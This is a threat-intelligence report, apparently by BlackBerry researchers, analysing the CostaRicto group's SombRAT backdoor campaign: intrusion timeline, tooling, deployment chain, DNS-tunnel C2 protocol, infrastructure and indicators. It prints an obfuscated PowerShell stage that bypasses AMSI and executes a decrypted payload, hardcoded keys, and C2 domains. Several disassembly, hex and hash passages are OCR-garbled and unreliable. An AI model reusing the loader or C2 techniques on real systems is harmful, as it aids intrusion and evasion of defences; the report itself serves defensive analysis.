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Introduction

The BlackBerry Threat Research and Intelligence Team have been actively monitoring and tracking the threat group dubbed CostaRicto,
authors of the SombRAT backdoor, since Autumn 2019. We first detected the rumblings of new activity during late December 2020 and into
early January 2021 with the emergence of new SombRAT backdoors in the public domain.

The latest campaigns employing SombRAT, recently unveiled by FireEye to be a series of financially motivated ransomware attacks, sees the
backdoor receive several code updates and undergo a good deal of obfuscation aimed at frustrating researchers. In addition, their bespoke
virtual machine (VM) based loader, CostaBricks, is conspicuously missing, while a vast range of post-exploitation PowerShell scripts were
also uncovered. These scripts were used to perform reconnaissance, privilege escalation, password brute-forcing and Kerberos password
hash scraping using a technique called AS-REP roasting.

Key Findings

o The attacks occurred over Christmas 2020 and continued into spring 2021, with command-and-control (C2) domains registered and
malware compiled and packaged during November 2020.

o The attackers again deployed CobaltStrike beacon, one of which was configured using indicators from a known APT10 campaign. This
false flag was likely aimed at confusing analysts and researchers into performing a false attribution. This could waste researcher’s time
with tuning security solutions and threat hunting. CostaRicto was also seen using an APT28 false flag in a previous campaign.

* The bespoke SombRAT backdoors contain several updates, many of which remove features that made analysis and classification easy.
Unfortunately, some of the updates appear to be a result of our last paper, for example:

o Compilation timestamps have been overwritten with zeros

o Program database (PDB) paths are not included

o The internal versioning system has changed

o Run-time-type-information (RTTI) has been removed from the binaries to prevent easy C++ class analysis

o The code is now statically linked with a TLS library called mbedtls, which is employed to avoid using Windows® cryptographic
APIs for RSA key handling (and evade EDR software)

o Modifications to C2 commands

o A new ASCII art message, containing the message "Nadie es perfecto excepto yo" (No one is perfect except me).

« During the reconnaissance phase of one campaign, attackers performed Kerberos password hash scraping using a technique called
AS-REP roasting. They then exfiltrated the hashes via an online file sharing service.

Delivery
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Initial access to one of the recent victim’s networks occurred during December 2020 via a remote desktop solution accessed using stolen
credentials. The credentials were likely obtained via the dark web approximately a month earlier. The threat actor swiftly deployed a
CobaltStrike beacon shellcode stager (containing an APT10 false flag) and performed domain password brute-forcing and port scanning.
They then ran several well-known penetration testing tools on the server, checking for vulnerabilities, performing domain reconnaissance, and
obtaining Kerberos password hashes using AS-REP roasting. The hashes were exfiltrated from the victim’s environment via the anonymous
file sharing platform anonfiles. This gave the attackers a chance to crack the hashes using tools such as HashCat. Finally, the threat actors
deployed SombRAT (their bespoke backdoor used for persistence) to a primary domain controller and deployed further CobaltStrike beacon
shellcode stagers.

The threat actors later returned using a privileged service account to deploy further remote access mechanisms within the environment.
These included TeamViewer, AnyDesk, and a new SombRAT backdoor with an updated C2 domain.

Ultimately, the threat actor’s campaign was rather noisy and triggered multiple alerts. The victim responded quickly by shutting down further
activity and performing remedial action, effectively thwarting the remainder of the attack.

Initial access using compromised credentials

Deploy CobaltStrike beacon

Brute-force logins using DomainPasswordSpray

Port scan using SoftPerfect

Attempt to exploit Zerologon vulnerability

Active directory recon using SharpHound

Domain recon

Harvest domain password hashes using AS-REP Roasting

Exfiltrate domain password hashes via anonfiles
Lateral movement to PDC
CobaltStrike and SombRAT deployed to DCs
Further port scanning
Install TeamViewer and AnyDesk

RPC enumeration

Attack interrupted

Figure 1: High-level attack timeline.

Tooling

CobaltStrike
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CobaltStrike is a perennial threat, often observed during the early lateral movement phase of most campaigns. CostaRicto appears to be

using several CobaltStrike beacon stager shellcodes, the first of which appears to be a trial version, as it still contains the EICAR antivirus test

file in the configuration:
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"S50!PREAP[4\PZX54 (P~} 7CC) 7} SEICAR-STANDARD-ANTIVIRUS-TEST-"
"FILE!SH+H*', 0

"50!P%",0

'User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT'
' 5.2) Java/l1.5.0_08',60Dh,OZh,0
"50!PREAP[4N\PEX54 (P~} 7CC) T} SEICAR-STANDARD-ANTIVIRUS-TEST-"
"FILE!SH+H*", (
"50!PRERP[4NPEXS4 (P4} T7CC) T} SEICAR-STANDARD-ANTIVIRUS-TEST-"
"FILE!SH+H*"', 0
"S50!PRELAP[4\PZX54 (P~} 7CC) 7} SEICAR-STANDARD-ANTIVIRUS-TEST-"
"FILE!SH+H*', 0

Figure 2: CobaltStrike stager with EICAR code.

The other beacon stager deployed by CostaRicto is perhaps more interesting. The bulk of its configuration is based on the chches_ APT10
malleable C2 profile, which provides the same configuration as a previously-known APT10 beacon, providing a false flag in terms of

attribution:
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97h, 70h, 77h, 3%h, 1ch, 61lh, 1Dh, 4, 0E4h, 0E2h
0FBh, 98h, 66h, 6lh, 2 dup(023h), 94h, 4Eh, OCh
0Dh, Oah, 0B2h, 2, Omah, 0FTh, 8Fh, 13h, 5, 0a2h
33h, 0FCh, 1Dh, 22h, 0E4h, 0B2h, 15h, 5Eh, 9, 0B2h
0FSh, 6, O

'Bccept: */%',0Dh, 0&h

"Host: fukuoka.cloud-maste.cem', ODh, 02h

'Connection: Keep-Aliwve',0Dh,02h

'Cache—Contrel: no—cache", 0Dh, 02h

'User-BAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT'
' €.1; WOW&4; Trident/4.0; SLCC2; .NET CLR 2.0.30729; .NET'
'4.0C; .NET4.0E )',0Dh,0ORh,0

28h, 0Alh, 0D%h, OF2h, 92h, 71h, 38h, ODOh, SEh
0chbh, 0DFh, OF&h, 95h, 52h, 5Eh, OF2h, 0COh, 85h
0Elh, OECh, 0EFh, OFCh, 0&Eh, 0C2h, 0E8h, 6lh
0ch, 52h, 0&Ah, 70h, &Eh, 0CAh, 28h, 86h, 0C4h
0Dah, 73h, 0ATh, 9Bh, 72h, 73h, 18h, 3Bh, OFh
1Dh, 0FSh, 97h, OBkh, 62h, 2Dh, 73h, 0D8h, 8Fh
0D5h, OE6h, S54h, &Fh, OF6h, 30h, 4Eh, 7, 32h
0c%h, 4zh, Och, 93h, 1ch, 9&h, 0Bh, 0, 68h, OFOh
0&2h, 56h, OFFh, 0D5h, 62h, 40h, &8h, 0, 10h

2 dup(0), &8h, 2 dup{0), 40h, 0, 57h, €&8h, 58h, 0&4h

0E5h, OFFh, 0D5h, 93h, 0BSh, 4 dup(0), 1, 0DSh
53h, 89h, OETh, 57h, &8h, 0, 20h, 2 dup{0), 53h
68h, 12h, 96h, 8%h, 0EZh, 0FFh, 0DSh, 85h, 0COh
oceh, 8Bh, 7, 1, 0c3h, B85h, 0COh, 75h, OESh, S8h
0E&h, 8%h, OFDh, 2 dup(0FFh)

230.184.142',0

Figure 3: CobaltStrike stager with APT10 URI and headers, but CostaRicto IP.

For both shellcodes the attackers have wrapped the payloads in a simple PowerShell loader that is subsequently obfuscated.

Third Party Tools

The threat actors were observed using a variety of third-party utilities, including reconnaissance tools, credential dumpers, and remote

desktop software:

* WinPwn — a comprehensive PowerShell reconnaissance script that can be used to:
o Obtain password hashes and browser credentials

o Perform enumeration of the network

o Scan for vulnerabilities and perform exploitation

o Several additional third-party scripts are downloaded by WinPwn during execution, including Invoke-Rubeus, SharpHound3,

DomainPasswordSpray, and zerologon, which were all utilised in this attack.

* Rubeus — a C# toolset used for performing various Kerberos password attacks. In this incident, Rubeus was used to perform AS-REP

roasting, an attack that can reveal the credentials of accounts that have Kerberos pre-authentication disabled.
o SharpHound3 — a C# toolset primarily used to perform reconnaissance of Active Directory.
o DomainPasswordSpray — a PowerShell script used to perform a password spray attack against domain users.

» Zerologon is the name given to the cryptographic vulnerability in Netlogon that can be exploited to perform an authentication bypass.
The Zerologon implementation contained in WinPwn is written in PowerShell. It is apparently ported from the C# implementation

developed by the NCC Group's Full Spectrum Attack Simulation team.
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» Invoke-PhantOm — a PowerShell script that terminates event logging processes to thwart forensic analysis.

» SoftPerfect — a commercial comprehensive network scanning tool.

o PsExec — a notorious command line utility.

+ TeamViewer — a legitimate remote control and remote access software, which is free of charge for non-commercial use.
* AnyDesk — a legitimate remote desktop application.

SombRAT

An updated version of CostaRicto's bespoke backdoor, known as SombRAT, is used as a foothold in the early stages of the attack. The main
purpose of this backdoor is data exfiltration and deployment of additional modules. Both 32-bit and 64-bit versions share the same C2 domain
and were possibly compiled from the same code base.

Deployment

The backdoor is delivered as a RAR self-extracting archive called first32.exe or first64.exe, depending on the target architecture. The archive
contains an encrypted PowerSploit injector (c.base64), encrypted backdoor binary (b.base64), and an XOR key used for decryption
(a.base64). The internal timestamps in the RAR archive also help to give an idea of when the malware was initially packaged for deployment:

b i |I-' 7 C:\users\user\Desktop \first64.exe)

Name | size | Packed Size | Modified | CRC |
| ]a.bases4 256 256 2020-11-19 07:10 4DAT8534
| |b.baset4 667 136 544508 2020-11-19 07:10 AT79B96F
|| c.bases4 121572 101742 2020-11-19 07:10 FCC1664
[@wwansve.bat 2710 437 2020-11-19 07:10 2D054F01

Figure 4: Content of the SXF archive.

In order to decrypt and execute the injector, the attackers drop and run a series of obfuscated batch and PowerShell scripts. The injector is
very similar to the one used in previous campaigns and will load the decrypted backdoor directly into memory:

WwanSvc.bat

Figure 5: Obfuscated 1st stage script (BAT).

WwanSvc_decoded.txt @ i, A

${Da"T A@}= [I0.File]::"R*Ead AL1lb yTes".Invoke((('C:'+'f"'+'9tprog'+"'ramd
ata'+'f9tMicroso'+'ft'+'fo9t'+'WwanSv'+"'c.a").REPLace('fot",'\')))

${dAt Al}= [I0.File]::"R’Eadal’LbYt eS".Invoke((("C:y25progr'+'amda’'+"'tay
'+'2'+'5'+'Microsofty2SWwan'+'Svc. '+'c')-cRePlACe 'y25', [char]92))

for(${i}=0; ${I} -1t ${DAT A1}."co UNt" ; ${I}++) { ${D At A1}[${i}] =
(${d*At* A1} [${1}] -bxor ${Da’T AR} [${i} % ${d'AT A8}."cou'Nt"])}

${dAt A1} = [System.Text.Encoding]::"a"SciI"."Ge TSTr ING"(${d AtAl})

try { ${1}=[Ref]."A’SSEmBLY"."G  ett ype" (('S'+'ys"+"'tem. '+'Mana’'+'gem'+'e
nt'+'.A'+"'utom’'+'ation.Ams'+"'iUtils')); if (${L} -ne @) { ${f}=${L}."GE'T
"Fleld"(('a'+'m'+'siInit'+'Failed"), ('NonPublic, '+'S'+'ta"+"ti'+'c'));

if (${f} -ne 8) { ${F}."S Etva’lue" (${n"UL1},${t RuE}); W RITe-ho'St
(k') }; }; WRITe'-h0'st “." } catch { wrIte-"h'0ST ${_} }

in' VoK' E-e* Xpr'eSSiON -Command ${dA'Tal}

Figure 6: Obfuscated 2nd stage script (PS1).
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Figure 7: SombRAT deployment process.

What’s New?

Bye Bye, CostaBricks

All SombRAT samples observed, regardless of architecture, were deployed using a PowerSploit-based injector. This is a clear divergence
from previous campaigns in which the x86 backdoors were protected by a bespoke virtual machine-based loader dubbed CostaBricks. We
dissected CostaBricks in our previous report. While it's a neat little piece of code, it has probably proven less stealthy, and therefore less
effective, than the simpler PowerSploit solution.

The disadvantage of CostaBricks is that a VM-based mechanism can trigger alerts from antivirus (AV) solutions. This kind of behaviour is
suspicious and often related to malware. Moreover, its distinct code makes it easy to configure hunting rules. Since the backdoor is stored
inside the loader binary, having the loader means being able to obtain the decrypted backdoor. The PowerSploit approach, which segregates
the components, poses less risk of the backdoor being leaked to platforms such as VirusTotal and dissected by researchers.

Covering Tracks

The attackers clearly like to keep an eye on research publications about their campaigns - and they learn their lessons. The new SombRAT
versions that appeared after our first CostaRicto report contain numerous changes aimed at making analysis and attribution more difficult:

» The compilation timestamp field in the PE headers of all new SombRAT binaries has been nulled out.

o Debugging information (including PDB paths) has been stripped from the binaries.

¢ Run-time-type-information (RTTI) has been removed. The RTTI present in previous samples contained original class names. This
greatly assisted our researchers in mapping the numerous C++ classes that SombRAT code is based on.

« The versioning system has changed from sequential numbers to MD5-like hashes. Combined with the lack of PE timestamps, it
becomes more difficult to map chronology of the backdoor versions:

5/15


https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

.text:0040C35E loc 40C35E: ; CODE XREF: get system info+ll2:j

.text:0040C35E l=a eax, [ebp+str DT+1]

.text:0040C3c4 mov [ebptversion_format+0Dh], 0

.text:0040C36B push eax

.text:0040C3eC l=a eax, [ebp+ver 3+1]

.text:0040C372 push eax

.text:0040C373 lea eax, [ebptver 2]

.text:0040C379 push eax

.text:0040C37A lea eax, [ebptver 1]

.text:0040C380 push eax

.text:0040C3E1 lea eax, [ebp+version format] ; %s.%s3.%s (%s)
.text:0040C387 push eax ; Format

.text:0040C3E8 l=a eax, [ebp+bot_ wersion]

.text:0040C3EE push BOh ; "&,-" ; BufferCount

Ltext:0040C393 push eax ; Buffer

.text:0040C354 call _sprintf s + 0160 {DT)

.text:0040CCAS loc 40CCRI: ; CODE XREF: get system infot+E2t]
.text:0040CCLS lea eax, [ebp+DT+1]

.text:0040CCAE Xxor edx, edx

.text:0040CCRD push eax

.text:0040CCRE push offset bot_version ; "ataectTdadSe77c24eef334Ba71fb217"
.text:0040CCB3 lea eax, [ebp+var 148C+1]

.text:0040CCBS mov [ebp+var 149C+8], dl

.text:0040CCBF push eax ; Format = %= (%s3)

.text:0040CCCO lea eax, [ebptbot wersion]

.text:0040CCCe push BEQOh ; "&,-" : BufferCount

.text:0040CCCB push eax ; Buffer

.text:0040CCCC call sprintf s ; ataect7dadf9e77cl4ee93348a71£fb217 (DT)

Figure 8: Version number comparison: old versioning system (above) and new versioning system (below).

All cryptographic functions are now performed by the statically linked mbedtls library. This makes the task of analysis slightly more
tedious and serves to thwart EDR software that relies upon hooking the Windows cryptographic APIs. The embedded RSA key for C2
communications is stored in PEM format (as opposed to Windows BLOB in previous samples), and additionally obfuscated with a single

byte XOR:
.text:004171F9 movaps xmml, ds:pubkey 0
.text:00417200 Hor ecKH, eCx
.text:00417202 movups [ebp+pubkey], =mm0
.text:00417208 mov [ebpt+ DADACDAKh], ODADADAh
.text:00417210 movaps xmm(, ds:pubkey 1
.text:00417217 movups [ebptpubkey+10h], xmm0
.text:0041721E movaps xmm0, ds:pubkey 2
.text:00417225 movups [ebptpubkey+20h], xmm0
.text:0041722C movaps xmm(, ds:pubkey 3

[---]
.text:0041737E

.text:0041737E deccde_ loop: ; CODE XREF: decode_ rsa_pubkey
.text:0041737E mov al, byte ptr [ebptecx+pubkey+l]

.text:00417385 Hor al, byte ptr [ebptpubkey]

.text:0041738B Xor al, ODEh

.text:0041738D mov byte ptr [ebptecx+tpubkey+l], al

.text:004173594 inc ecx

.text:00417385 cmp ecx; “1E2h

.text:0041739B ib short decode loop

pubkey 3 xmmword OBSBEBEBABGCFRAGBEGB4BEB6B6BlBZiR6Beh

pubkey 1 xmmword OBSBEBEBAFDDADADRDAD.

f

pubkey 2 xmmword OBSC7B0CEBOSESCOFR6SCO0BSEYB6IDBER

a0 ; DATA XREF: decode rsa pubkey+3Citr

momm
[

[&5]

Figure 9: Decryption of RSA key (redacted for clarity).

» Sensitive strings remain obfuscated with a 1-byte XOR. In addition to the variable XOR key stored at the beginning of the string, there is
another hardcoded one-byte key. This key is the same for all strings and shared across all the samples from this campaign.

* Two new routines were added upon the malware execution. If the backdoor detects it is being invoked via cmd.exe, it will immediately
terminate. It will also overwrite the command line entry in its Process Environment Block (PEB) with the file name of the parent process
in order to conceal the original command line it was executed with.

The Skull of Sombra

Based on PDB paths found in some older samples, we established that the backdoor has been dubbed “Sombra” by its creators. We
assumed that the name refers to a female hacker character from the Overwatch game by Blizzard Entertainment. It turns out that our
assumption was correct. Although the PDBs are no longer present in the newest samples, the malware authors decided to add a carefully
crafted footprint to their backdoor — one that confirms beyond any doubt the provenance of the name they gave to the project.
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After executing the malicious routine via a service dispatcher, and right before exiting, the malware will print a long base64-encoded string to
the standard output. The encoded data contains an ASCII art representation of a skull. The skull is identical to the one that was part of a
puzzle published by Blizzard before the release of the Sombra character. To solve the original puzzle, gamers had to use a slightly different
skull, posted by the developers on the Blizzard forum. Will the attackers use this opportunity to send us a hidden message, too? We will
certainly keep an eye on it.

The threat actor also added a plain-text message as a personal touch to the copy-pasted ASCII art: a sentence that reads "Nadie es
perfecto excepto yo." (Spanish for "No one is perfect except me"). This sentence doesn’t seem to be related to the Overwatch game, apart
from using the same language as the Sombra puzzles:

.text:00415E34 push 0OCh ; FOREGROUND RED | FOREGROUND INTENSITY
.text:00415E34 push S5TD_CUTPUT HANDLE ; nStdHandle

.text:00415E38 call esi ; GetStdHandle

.text:00415E3a push eax ; hConsoleOutput

.text:00415E3B call d=:SetConsoleTextAttribute

.text:00415E41 push offset alOY¥Y ; "UTF-16LE", '"fRIT' ("Hello™)
.text:00415E44% push offset as 5 "\ngs\n”

.text:00415E4B call stdio vfprintf

.text:00415E50 pop ecx

.text:00415E51 pop ecx

.text:00415E32 lea ecx, [ebp+sombraskull bé&4]

.text:004135E55 call sub_ 4082234 . l4/net runtime
.text:00415E5a push eax

.text:00415E5B push offset as_0 i

.text:00415E60 call stdio vfprintf

Figure 10: Code printing base64-encoded ASCII art to standard output.

Madie es perfecto excepte yo.
:PB@Bk:
, jBE@BEBEBREREL .
7G@BEBEEMMMMMBEBEBENT
: kKBRBEAEMMOMOMOMOMMMMEBEBERL ,

: 5BEEEBEEEMMOMOMOMOMOMOMMBEAREREREL .
70@@@BEBEEEEXBEOMOMOMOMOMOMMEMPEAEEBEBEBAN
G@@@B] iBEEEE OBMOMOMOMOMOMOM@2 BEB@E. EB@BES
@@BM@GIBU.  iSUB@OMOMOMOMOMOMMEOU1: .kBLMAMEB@

B@MMBEB 7@BBMMOMOMOMOMOBB@: BEBMMGE
@@ae@s 7@@@MMOMOMOMMEBE : AEBEEER
@@OLE. BNBEMMOMOMMEBER rBMEE
@@ @ M OBOMOMM@g M .8 @@
@@ove B: u@MMOMOMMBIiB .BvM@B
@B@e@l 9@E@MMOMOMOMBEBEU qEEERE
B@MBB@Y GE@BMMMMMMMMMMMBBRES FEBMMEE

@BBM@BPNI  LMEBROMMMM@BEMMOMMEBIM?  rEqBEMBBE
B@@@EM B@EBEE gBMOMB@E@BEEMOMBL E@B@E @BEBEM
J@R@EPREBEBER7GEOMBE.  ,EMMMAqLEEBARERGBEBEY
iGB@, 10EMEREMMOGE @  M@OMMBE@EBEPii@@M:

BEMEBEMMME@E@BEBEMMMBREMEE

@R@E . i@MEE@RERAREME: : BERR

B@@@ .B@B.:@B@ :BEE @BEO

1@ r@B@ B@@ .@B@: P:
vMB :@B@ :BO7
,B@B

Figure 11: Decoded ASCII art.
Backdoor Commands

The set of backdoor commands remains more or less the same as described in our previous report. A few commands have been removed
and some functionality improvements/code tweaks were made to the existing commands. Below is the list of more significant changes, sorted
by internal modules to which the commands belong.

Core

The Core module is responsible for commands related to initiating C2 communication, loading additional modules, retrieving system
information and bot maintenance. These commands include:
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broadcast networkconnected loadasdll getinfo™

broadcast networkdisconnected | loadfromstorage® uninstall®
broadcast informationaccepted | loadfromfile shutdown
ping loadfrommem restart
pluginunload loadplugincomplete wpdatermyself

initializeandloadpluginbyunigid
Figure 12: List of Core module commands (changes from previous versions highlighted).

The commands updatemyself and restart were removed from this version of SOmbRAT.

The malware authors added a possibility of loading two external plugins from storage: injector and keylog. The names of these plugins are
hardcoded in the binary.

The uninstall command, previously unimplemented, will now close and delete the storage file, and remove all installation files, overwriting
them with random bytes before deletion.

In the getinfo command, the bot versioning system changed from sequential to MD5-like; there are also slight changes to the system
information sent to the C2:

Value Name Type Description

ver str Bot version (hardcoded)

computername str Computer name and username

winplatform int 0S architecture (32 or 64)

buildplatform int Bot architecture (32 or 64)

modulelist str

pid int Current process ID

protover str Protocol version (hardcoded “0.1%)

domain str C2 domain (hardcoded)

port int C2 port (hardcoded 443)

processhandlescount int Return value from GetProcessHandleCount()

lifetime int Value computed by subtracting defined time from machine local
time

winver str “%d.%d.%d Platformld:%d, szCSDVersion: %S”
(major version, minor version, build number, platform ID, service pack version)

descriptorscount int

Asynceventscount int

attachedhandlescount int

installedlike int

mypath str malware execution path

Figure 13: System information sent to the C2.
Storage

The Storage module provides functionality for dropping additional files to the victim’s machine, as well as uploading content from the victim to
the C2 server. A single storage file implementing a custom encrypted filesystem is used for keeping all additional data, either downloaded
from the C2 or cached for upload:
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write upload openstorage

create Clearall getcontent

close archivebypath await&ereate-
drop restorestorage await&putcontent
delete closestorage await&getcontent
enum® closeanddeletestorage

Figure 14: List of Storage module commands.
The new version of SombRAT sees two commands removed: await&create, await&putcontent.

The enum command now also returns the storage statistics that are read from the storage file header (statstotal, statsused, statsfree,
statsondisk, statssessions).

The default filename for the storage file and the corresponding mutex name are now generated by encrypting a hardcoded string Initiating
The Hack with AES-128-CBC (using the hardcoded key: Xn2r5u8x/A?D(G+K), and converting the encrypted data into a hex string:

.text:00412F1C movups smmword ptr [ebp+InitiatingTheHack], xmm0

L text:00412F20 mov dword ptr [ebptInitiatingTheHack+10h], ‘kca’
.text:00412F27 mowv dword ptr [ebptaes key], ‘rZnX" ; ¥n2r5ulx/A?D (GHK
.text:00412F2F mowv dword ptr [ebptaes keyt4], *xBud’

.text:00412F35 mowv dword ptr [ebp+ae5_key+8], ‘D?A/’

.text:00412F3C mowv dword ptr [ebptaes key+0Ch], ‘K+G(°

.text:00412F43 call init AES

Figure 15: Storage file name generation.

Upon initialization of the storage module, an empty 2MB storage file is created. Initially, it contains mostly zeroes except for the file table and
the first 12 bytes of the storage header:

o0 e M 9ACF219F1FODEE49
000000 01000200 00100000 00000800
00000c | 00000000 00000000 00000000
000018 (00000000 00000000 00000000
000024 | 00000000 00000000 00000000
000030 00000000 00000000 00000000
00003c| 00000000 00000000 00000000
000048 | 00000000 00000000 00000000
000054 | 00000000 00000000 00000000
000060 | 00000000 00000000 00000000
00006cC | 00000000 00000000 00000000
000078 | 00000000 00000000 00000000
000084 00000000 00000000 00000000
Signed Int big -+
Ox0 out of Ox201000 bytes
Figure 16: Default empty storage file.

The values used to initialize storage files are hardcoded in the backdoor binary and include:

o Two flags of unclear purpose (0x01 and 0x02)
» Offset to the file table (0x1000)
o The initial size of the storage file in DWORDs (0x800000)

While any potential storage content that follows the file table is supposed to be encrypted, the table itself remains unencrypted and is
initialized with OxFF bytes. A file table entry is expected to start with a value of OXFFFFFFFE (for empty files) or OXFFFFFFFD (for non-empty
files) and is followed by the file metadata. The metadata includes information such as:

» File size

o Length of the encrypted file ID (up to 1024 bytes)
 File ID encrypted with AES-256-CBC

« Offset to the file content in the storage data

The AES encryption key is hardcoded in the binary and is used for both file ID and data: p3s6v9y$B&E)H@MbQeThWmZq4t7w!z%C.

So far, we’ve only encountered “empty” storage files on the filesystems where SombRAT had been active.

Network
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The set of commands serviced by the Network module is related to managing the C2 communication protocol:

broadcast discannect checkproxy
touchconnect switchtotcp getproxy
stats switchdns resetproxy
reconnect setproxy

Figure 17: List of Network module commands.

There are no major functionality changes in the network-related commands; however, the internal structures to the network protocol were
somewhat altered.

As in the previous versions, the backdoor communicates with the C2 through a DNS tunnel by default. The communication protocol can be
switched to a TCP-based one on request. All sensitive data that is sent or received is Zlib-compressed and encrypted with AES-256 using a
randomly generated key. An embedded RSA-2048 public key is then used to secure the AES key exchange.

The DGA algorithm used for initiating communication is the same as previously used. Now, instead of using an “images” prefix, the backdoor
simply prepends the letter “b” to the generated subdomain name. This subdomain is then used in a DnsQuery call in order to retrieve the
associated IP address. This C2 IP will be later used to authenticate messages and derive the XOR key for additional message obfuscation.

The C2 communication is initialized with a simple 'PING' message sent from the victim as a DNS_TYPE_A request. The message header
contains randomly generated byte, followed by bytes 4 and 3 of the previously obtained C2 IP address. The sequence byte is set to 1. The
message body (string 'PING') and following 2-bytes of the checksum, is XORed with a key derived from the first 2 bytes of the C2 IP address.
The whole message, including the header, is then additionally XORed with its first byte (omitting the bytes that are equal to that byte):

Offset Content

0x00 Random byte

0x01 Byte4 of C2IP
0x02 Byte 3 of C2IP
0x03 Sequence byte
0x04 Message body

variable | 2-byte checksum of all preceding bytes

Figure 18: Basic C2 message format in DNS tunneling (DNS_TYPE_A request).

Finally, the obfuscated data is converted to a hex string, prepended to the C2 domain, and transmitted via a DNS query:

// Example clear text "PING' message
1F 65 38 @1 50 49 4AE 47 93 F6

// Algorithm for generation of the XOR key:
xor_byte_1 = ip_byte_2 AND ©F OR A®
xor_byte 2 = ip_byte 2 SHR ©4 OR B@
xor_byte 3 = ip_byte 1 AND @F OR C@
xor_byte 4 = ip_byte 1 SHR 84 OR DO

// For an IP starting 192.168 (C@ A8) the key will be A8 BA C8 DC
A8 AND @F OR AR = A8
A8 SHR @4 OR B@ = BA
Ce AND BF OR Ce = Ce
C@ SHR ©4 OR D@ = DC

// Message body XOR-encoded
F8 F3 8E 9B 3B 4C

// Additional obfuscation with one-byte XOR (@x1F)
1F 7A 27 1E E7 EC 91 84 24 53

// Resulting DNS query call
DnsQuery A(1f7a271ee7ec91842453.feticost.com, DNS_TYPE_A, e@x48, ...)

Figure 19: Example of an initial DNS ‘PING” message.
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The attacker’s DNS server should respond with an IP address where the first 2 bytes are equal to the checksum of the request’s subdomain.
This will establish a backdoor session.

Once a connection is successfully established the backdoor sends a DNS_TYPE_TXT request, which is a request for commands.

Offset Content

0x00 Random byte

0x01 Byte4 of C21IP

0x02 Byte 3 of C2IP

0x03 Sequence byte

0x04 Random dword

0x08 Message body (hardcoded ‘ABCD’ string)
0x0C 2-byte checksum of all preceding bytes

Figure 20: Basic C2 message format in DNS tunneling (DNS_TYPE_TXT request).
There are 3 types of DNS_TYPE_TXT responses that can be issued by the C2:

« Starting with 0x40 byte ('@') - no commands at the moment, keep connection alive.

o Starting with 0x23 byte (‘#') - end session.

» Response containing a command, which starts with the XOR byte, followed by a 2-byte checksum of corresponding request, the
message body, and a 2-byte checksum of the response.

The initial command from the C2 is expected to contain “PING” as a message. The backdoor will respond by sending out system information
and an embedded RSA public key.

Taskman

Taskman commands are used for manipulating processes:

getprocesslist™ killprocessbypid* killprocessbyname®

Figure 21: List of Taskman module commands.
Information sent to the C2 in response to each of these commands now contains two additional fields:

» iswow, which specifies if the process is 32- or 64-bit
« threadscount, which specifies the number of threads associated with the process.

Debug

Currently this module contains only one command, debuglog, which is used to enable/disable logging. There were no changes in its
functionality since the previous SombRAT version.

Config

This module was used to handle commands related to the config file. The config class and functionality has since been removed, together
with all corresponding backdoor commands.

Network Infrastructure

feticost[dot]lcom

The feticost domain was registered a month prior to the attack and used exclusively for C2 communications with the SombRAT backdoor:

2021-01-08

51.89.50.152
Click to Filter

Figure 22. Heatmap of feticost IP resolutions.
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The domain was registered via Njalla, a “privacy-aware” domain registration service, operating from Saint Kitts and Nevis. It is run by Peter
Sunde, co-founder of The Pirate Bay:

Contact Details

Registrant

Name REDACTED FOR PRIVACY

Email No data

Organisation REDACTED FOR PRIVACY

Address REDACTED FOR PRIVACY
REDACTED FOR PRIVACY
Charlestown
SAINT KITTS AND NEVIS

Phone No data

Fax No data

Figure 23: Domain registrant details (redacted for privacy).
Several open ports were exposed on this server:

o OpenSSH used for remote management
o DNS used to provide SombRAT domain generation and DNS tunneling capabilities
» ports 80, 8000, and 443 also used for SombRAT C2.

SombRAT will generate many subdomains as part of its domain generation algorithm (DGA) during C2 initialisation, yet very few were found
to be active for feticost. However, the primary DGA subdomain, b71260938323880754443f274390[dot]feticost[dotjcom, remains active with
its C2 IP addresses changing fairly frequently.

celomito[dot]com

The celomito domain was also registered via Njalla, but only a few days prior to use:

2021-01-23

UMNIQUE RESOLUTIONS

Click to Filter

Figure 24: Heatmap of celomito IP resolutions.
This domain was again used for SombRAT C2 communications, with several subdomains being actively employed as part of the DGA:

o b27543ffd5a3949c5d483e2b4705.celomito.com
o 5dc5a95caaaad5cebefd.celomito.com
¢ bd1540dda.celomito.com

64.227.24.12 & 157.230.184.142

These hosts were deployed by the threat actors to host CobaltStrike Team Server. We first observed these hosts being operationalised on
2020-12-01, as part of our in-house CS beacon tracking services.

Conclusions

Costaricto’s activity, ranging from espionage to ransomware, may be representative of an evolving threat actor broadening their services. Yet
making definitive claims about this group is challenging, even with the evidence presented here. For example, is this most recent campaign
the work of hackers-for-hire, or simply the result of a backdoor for sale? The tactics, techniques, and procedures (TTPs) used in recent
SombRAT attacks differ from previous ones. This might mean a new threat actor has simply acquired the backdoor.
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Then again, the original threat actors may be using SombRAT in new ways, adjusting their tactics to better fit the new environment. This
explanation may be more likely. If SombRAT were widely available for purchase or trade it would probably appear more often in the public
domain. Either way, SombRAT is being actively maintained, receiving code improvements, better obfuscation, and new feature updates. One
particularly concerning development is SombRAT’s ability to exfiltrate data prior to deploying ransomware.

While precise attribution is difficult, our research indicates the latest SombRAT attacks were likely operated from the Latin American region.

BlackBerry Assistance

If you're battling an attack like this or a similar threat, help is at hand, regardless of your existing BlackBerry relationship.

The BlackBerry Incident Response Team is made up of world-class consultants dedicated to handling response and containment services for
a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases.

We have a global consulting team standing by to assist you by providing around-the-clock support, where required, as well as local
assistance. Please contact us here:

https://www.blackberry.com/us/en/forms/cylance/handraiser/emergency-incident-response-containment.

Appendix

Indicators of Compromise (loCs)

Indicator Type Description

d81c13b094c59196ac45c5f0ec95446dea219fa2f2a1c35a25f883d2a18ab19d SHA256 SombRAT x86

99baffcd7a6b939b72¢99af7¢c1e88523a50053ab966a079d9bf268aff884426e SHA256 SombRAT x64

61e286c62e556ac79b01c¢17357176e58efb67d86c5d17407e128094¢3151f7f9 SHA256 SombRAT x64

da97¢5162¢ch3929f873936a4fb6311e0ce373f0fce3b94470da26906529317b2 SHA256 first32.exe - RAR SFX Dropper for a/b/c.base64

01a214f011e6b92eb9844e19a49835c11a7e56116d8b21b2ee370589f6f08082  SHA256 first64.exe - RAR SFX Dropper for a/b/c.base64
and WwanSvc.bat

84e5191¢ff128754215a712d8be2621bf99170d4225a60b8f4e0a9f866f9338e SHA256 Install.bat - Installation, service creation and
clean-up

72e8a12fdd375984e20935¢13fd2160ee4c532122ba75eaa07d6ab95d8a79cb6  SHA256 base64.exe

